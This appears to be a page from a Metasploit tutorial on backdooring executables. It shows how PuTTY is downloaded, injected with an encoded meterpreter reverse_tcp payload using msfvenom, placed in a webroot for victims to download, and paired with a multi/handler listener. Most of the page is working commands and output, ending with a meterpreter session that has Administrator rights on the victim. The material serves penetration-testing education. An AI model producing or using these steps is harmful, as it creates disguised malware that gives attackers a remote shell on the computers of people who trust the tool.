Backdooring EXE Files a11y.text Backdooring EXE Files Creating customized backdoored executables often took a long period of time to do manually as attackers. The ability to embed a Metasploit Payload in any executable that you want is simply brilliant. When we say any executable, it means any executable. You want to backdoor something you download from the internet? How about iexplorer? Or explorer.exe or putty, any of these would work. The best part about it is its extremely simple. We begin by first downloading our legitimate executable, in this case, the popular PuTTY client. root@kali:/var/www# wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

--2015-07-21 12:01:27-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Resolving the.earth.li (the.earth.li)... 46.43.34.31, 2001:41c8:10:b1f:c0ff:ee:15:900d

Connecting to the.earth.li (the.earth.li)|46.43.34.31|:80... connected.

HTTP request sent, awaiting response... 302 Found

Location: http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe [following]

--2015-07-21 12:01:27-- http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe

Reusing existing connection to the.earth.li:80.

HTTP request sent, awaiting response... 200 OK

Length: 524288 (512K) [application/x-msdos-program]

Saving to: `putty.exe'

100%[==

==================================>] 524,288   815K/s   in 0.6s

2015-07-21 12:01:28 (815 KB/s) - `putty.exe' saved [524288/524288]

root@kali:/var/www# Next, we use msfvenom Â to inject a meterpreter reverse payload into our executable, encode it three times using shikata_ga_nai and save the backdoored file into our webroot directory. root@kali:/var/www# msfvenom -a x86 --platform windows -x putty.exe -k -p

windows/meterpreter/reverse_tcp lhost=192.168.1.101 lport=4444 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

Found 1 compatible encoders

Attempting to encode payload with 3 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai succeeded with size 353 (iteration=1)

x86/shikata_ga_nai succeeded with size 380 (iteration=2)

x86/shikata_ga_nai chosen with final size 380

Payload size: 380 bytes

Saved as: puttyX.exe

root@kali:/var/www# Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking machine. msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:4444

[*] Starting the payload handler... As soon as our victim downloads and executes our special version of PuTTY, we are presented with a meterpreter shell on the target. [*] Sending stage (749056 bytes) to 192.168.1.201

[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:1189) at Sat Feb 05

08:54:25 -0700 2011

meterpreter > getuid

Server username: XEN-XP-SPLOIT\Administrator

meterpreter > Next Karmetasploit Prev Mimikatz